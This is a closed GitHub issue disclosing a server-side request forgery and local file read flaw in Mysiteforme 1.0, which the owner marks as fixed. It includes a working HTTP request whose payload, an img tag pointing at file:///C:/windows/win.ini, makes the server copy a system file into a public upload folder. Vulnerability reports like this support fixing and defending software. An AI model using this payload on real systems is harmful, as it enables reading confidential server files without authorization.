Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Mysiteforme 1.0 has SSRF #56

Closed
LvZCh opened this issue Dec 24, 2024 · 1 comment
Closed

Mysiteforme 1.0 has SSRF #56

LvZCh opened this issue Dec 24, 2024 · 1 comment

Comments

@LvZCh
Copy link

LvZCh commented Dec 24, 2024

Code Audit:
The doContent method in src/main/java/com/mysiteform/admin/controller/system/FileController. java does not filter the incoming content
image
Follow up with uploadLocalImg, the general process is to read the file based on the passed file name, and then upload it to the static/upload/directory
image

Vulnerability exploitation:

POST /file/doContent HTTP/1.1
Host: 192.168.52.132:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Cookie: JSESSIONID=b566f4d3-be2c-45a5-b4a6-f9e3d35e7b11
Content-Length: 46

content=<img src="file:///C:/windows/win.ini">

image
Open and return: http://192.168.52.132:8080/static/upload/00a4a07c -9023-45e4-8229-8f3f0ddcfccd.ini
image
image

@wangl1989
Copy link
Owner

fixed

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants